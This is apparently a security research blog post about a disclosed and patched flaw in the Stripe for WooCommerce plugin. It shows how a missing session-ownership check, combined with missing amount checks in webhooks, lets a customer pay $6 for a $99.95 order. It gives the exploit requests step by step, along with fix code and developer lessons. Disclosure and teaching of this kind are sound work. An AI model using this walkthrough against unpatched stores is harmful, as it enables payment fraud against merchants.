RESEARCH
WooCommerceStripeBusiness LogicPayment SecurityHackerOne

Cart Swap Attack on Stripe for WooCommerce, From Session Hijack to Full Payment Bypass

E

@e0x1337

2026-08-03

9 min read

A single AJAX endpoint. No ownership validation. No amount reconciliation on the webhook side. That is all it took to turn a $99.95 WooCommerce order into a $6.00 Stripe charge while the merchant still ships the full order.

This is a class of vulnerability called a Cart Swap Attack. The idea is simple: you create a payment session for an expensive order, swap your cart to something cheap, force the payment session to recalculate using the cheap cart, then complete the order at the original high price while only paying the low amount. It works whenever the system that creates the payment and the system that verifies the payment are not properly linked together.

e0x1337 found this exact pattern in the Stripe for WooCommerce plugin, which handles payments for millions of online stores. Rated High (CVSS 8.1) by Automattic and patched in July 2026. The public advisory is here.

This post breaks down the full attack, explains why it works, and covers what developers should take away from it when building their own payment integrations.

What is a Cart Swap Attack?

Before getting into the WooCommerce specifics, it is worth understanding the general attack pattern because it shows up in e-commerce systems all the time.

Most online stores follow a similar payment flow:

  1. Cart contains the items and calculates the total
  2. Payment session is created on the payment provider (Stripe, PayPal, etc.) with that total
  3. Customer pays the amount shown in the payment session
  4. Webhook comes back from the payment provider confirming success
  5. Order is fulfilled based on the webhook confirmation

The trust assumption is that the cart total and the payment session total will always match. But what if they do not have to?

A Cart Swap Attack breaks this assumption by inserting a step between 2 and 3: modify the payment session to reflect a different (cheaper) cart while keeping the original expensive order intact. If the system does not validate that the amount paid matches the amount owed, the order goes through at the wrong price.

This is a business logic vulnerability. There is no injection, no memory corruption, no cryptographic failure. It is purely about the system trusting that two values will be equal when nothing actually enforces that they are.

How Stripe Checkout Sessions Work in WooCommerce

Starting from version 10.6.0, the Stripe for WooCommerce plugin introduced Stripe Checkout Sessions as part of the Optimized Checkout Suite. Instead of collecting card details directly on the store's page, the plugin creates a session object on Stripe's servers containing all the payment details, then hands the customer off to Stripe's hosted checkout page.

The plugin registers two AJAX endpoints for this:

  • wc_stripe_create_checkout_session builds a new Stripe session from the customer's WooCommerce cart. It sends line items, amounts, and billing info to Stripe and returns a session_id.

  • wc_stripe_update_checkout_session takes an existing checkout_session_id and refreshes it. This exists for cases where the customer changes their shipping method or billing address and the totals need to update.

Three config flags activate this flow:

pmc_enabled: "yes"
optimized_checkout_element: "yes"
capture: "yes"

All three are set automatically when a merchant connects Stripe through the standard OAuth onboarding. Most stores running version 10.6.0 or newer had this active by default.

The Vulnerability

The wc_stripe_update_checkout_session endpoint takes two parameters:

POST /?wc-ajax=wc_stripe_update_checkout_session

checkout_session_id=cs_test_xxxxx
security=<nonce>

When called, the handler does the following:

  1. Validates the WordPress nonce (CSRF protection)
  2. Takes the checkout_session_id from the request body
  3. Reads the caller's current WooCommerce cart
  4. Recalculates line items and totals from that cart
  5. Pushes the new amounts to the Stripe API, overwriting the session

The problem is in step 2 and step 3. They are completely disconnected. The endpoint never verifies that the checkout_session_id was created for the current user. It never checks that the session matches the current cart. It just takes whatever session ID you give it and overwrites its amounts with whatever is in your cart right now.

The nonce in step 1 only prevents cross site request forgery. It does not prove session ownership. The nonce value is rendered directly into the checkout page HTML, so any logged in customer who visits the checkout page can grab it.

The Full Attack Flow

Here is every step of the exploit, showing the actual HTTP requests.

Step 1: Build an expensive cart and create a session

Log in as a regular customer. Add expensive products.

POST /?wc-ajax=add_to_cart
Content-Type: application/x-www-form-urlencoded

product_id=10&quantity=5

Cart total: $99.95. Navigate to checkout, which triggers:

POST /?wc-ajax=wc_stripe_create_checkout_session

[email protected]&billing_first_name=Test&...
security=<create_nonce>
{ "data": { "session_id": "cs_test_a1l9RanF5Ug3SCbJ..." } }

Verify on Stripe's API:

{ "amount_total": 9995, "currency": "usd" }

The Stripe session is set to $99.95.

Step 2: Empty the cart and add cheap items

Use the WooCommerce Store API (a public REST endpoint available to any authenticated user) to clear the cart:

DELETE /wp-json/wc/store/v1/cart/items/<item_key>
Nonce: <store_nonce>

Then add cheap products:

POST /?wc-ajax=add_to_cart

product_id=14&quantity=3

Cart is now 3 stickers at $2.00 each. Total: $6.00. The Stripe session still shows $99.95 because nobody has called the update endpoint yet.

Step 3: Overwrite the Stripe session amount

This is the vulnerable call. Send the original $99.95 session ID while the cart holds $6.00 worth of items:

POST /?wc-ajax=wc_stripe_update_checkout_session

checkout_session_id=cs_test_a1l9RanF5Ug3SCbJ...
security=<update_nonce>

The endpoint reads the $6.00 cart, recalculates, and pushes to Stripe. No error. No warning.

Stripe now shows:

{ "amount_total": 600, "currency": "usd" }

$99.95 session is now $6.00.

Step 4: Restore the expensive cart and place the order

Put the expensive items back in the cart. WooCommerce creates an order for $99.95 and links it to the manipulated Stripe session via the _stripe_checkout_session_id meta field. The attacker pays $6.00 through Stripe.

Step 5: The webhook trusts the charge without checking the amount

Stripe sends a webhook confirming payment succeeded. The plugin's process_response function handles it.

What it checks:

  • Is the charge status "succeeded"? Yes.

What it does not check:

  • Does the charged amount ($6.00) equal the order total ($99.95)? Never verified.

It calls $order->payment_complete() and the order moves to "Processing". The merchant sees a paid $99.95 order and ships the goods.

The result

Order #16: $99.95    Status: processing
Stripe Charge: ch_3Tbync...    Amount: $6.00
Difference: $93.95

Root Cause Analysis

Two independent failures chain together to make this exploitable.

Failure 1: The update endpoint has no ownership check

The wc_stripe_update_checkout_session handler should enforce that the session ID passed in was created by the same user and belongs to their current checkout flow. A correct implementation would look something like this:

// When creating a session, store a binding
WC()->session->set('stripe_checkout_session_id', $session_id);
WC()->session->set('stripe_cart_hash', WC()->cart->get_cart_hash());

// When updating, verify the binding
$stored_id = WC()->session->get('stripe_checkout_session_id');
$stored_hash = WC()->session->get('stripe_cart_hash');

if ($request_session_id !== $stored_id) {
    wp_send_json_error('Session does not belong to this user');
    return;
}

This ties the session to the user who created it. Even if an attacker knows another user's session ID, they cannot update it because the server side binding will not match.

Failure 2: The webhook handler does not reconcile amounts

Even if the session gets overwritten, the attack fails if process_response compares what Stripe charged against what WooCommerce expects:

$charged = $charge->amount;
$expected = intval(floatval($order->get_total()) * 100);

if ($charged < $expected) {
    $order->update_status('on-hold',
        sprintf('Amount mismatch: charged %d, expected %d', $charged, $expected)
    );
    return;
}

$order->payment_complete($charge->id);

This is standard practice in payment integrations. The absence of this check meant any manipulation on the Stripe side flowed straight through to order fulfillment.

Either fix alone would have prevented the exploit. Both missing together gave the attacker full control over what they paid.

Attack Surface and Prerequisites

Affected versions: Stripe for WooCommerce 10.6.0 through 10.8.3 with the Optimized Checkout Suite enabled.

Version Checkout Sessions on by default?
10.6.x No, manual activation required
10.7.x Yes, for new merchant connections
10.8.x Yes, for all connected accounts

By 10.8.0, every store that had connected Stripe through the OAuth flow had this code path active. WooCommerce runs on over 36% of online stores. The reach was massive.

What an attacker needs:

  • A customer account on the target store (no admin or special role needed)
  • The store running an affected version with Checkout Sessions active
  • Access to the checkout page to grab the update nonce from the HTML source

That is it. No elevated privileges. No internal access. Just a regular account.

What Developers Should Learn From This

This vulnerability is a textbook example of a business logic flaw in a payment integration. If you are building anything that handles money, here are the concrete things to take away.

1. Nonces are not ownership checks

A WordPress nonce proves the request came from a page you rendered. It prevents CSRF. It does not prove the user owns the resource they are trying to modify. These are two separate problems. If your endpoint accepts an ID as a parameter and modifies a resource based on that ID, you need a separate ownership check on the server side. The nonce is not enough.

2. Never trust the client to send the right session ID

The update endpoint trusted the client to send a session ID that belonged to them. The server should have stored the binding between user and session when the session was created, then verified that binding on every subsequent request. Any time you accept an identifier from the client and use it to modify server side state, ask yourself: can this user prove they own this resource?

3. Always reconcile amounts after payment

When a payment provider tells you "payment succeeded", that means they collected some amount of money. It does not mean they collected the right amount. Your webhook handler must compare the charged amount against the order total before marking anything as paid. This is the last line of defense against any payment manipulation attack, whether it is a cart swap, a race condition, a parameter tampering, or anything else.

4. Think about the boundary between systems

The most interesting bugs live at the boundary where two systems meet. In this case, WooCommerce manages the cart and order. Stripe manages the payment session. The vulnerability exists in the gap between them: the plugin that bridges the two systems did not enforce consistency. When you build integrations between systems, map out every place where data from one system is used by the other and ask: what happens if these values do not match?

5. Business logic bugs are scanner blind spots

No automated tool would have caught this. There is no signature, no payload, no known CVE pattern to match against. You find these by reading the code, understanding the intended flow, and then asking: what happens if I do the steps in a different order? What if I change the state between step 2 and step 3? This is manual analysis work and it is where the highest impact bugs hide.

Affected Versions and Fix

Patched in 10.6.2, 10.7.1, and 10.8.4. The official advisory was published on July 14, 2026.

If you run WooCommerce with the Stripe plugin, update now. If you cannot update immediately, disable the Optimized Checkout Suite (specifically Adaptive Pricing) as a temporary measure.

To check if you were affected, compare your Stripe dashboard charges against your WooCommerce order totals. If any charges are significantly lower than their corresponding orders, investigate those transactions.

This was reported responsibly through HackerOne. The Automattic team confirmed the issue, prepared patches across three release lines, and coordinated automatic updates through the WordPress.org Plugins Team. If you find something similar in another product, report it properly. The process works.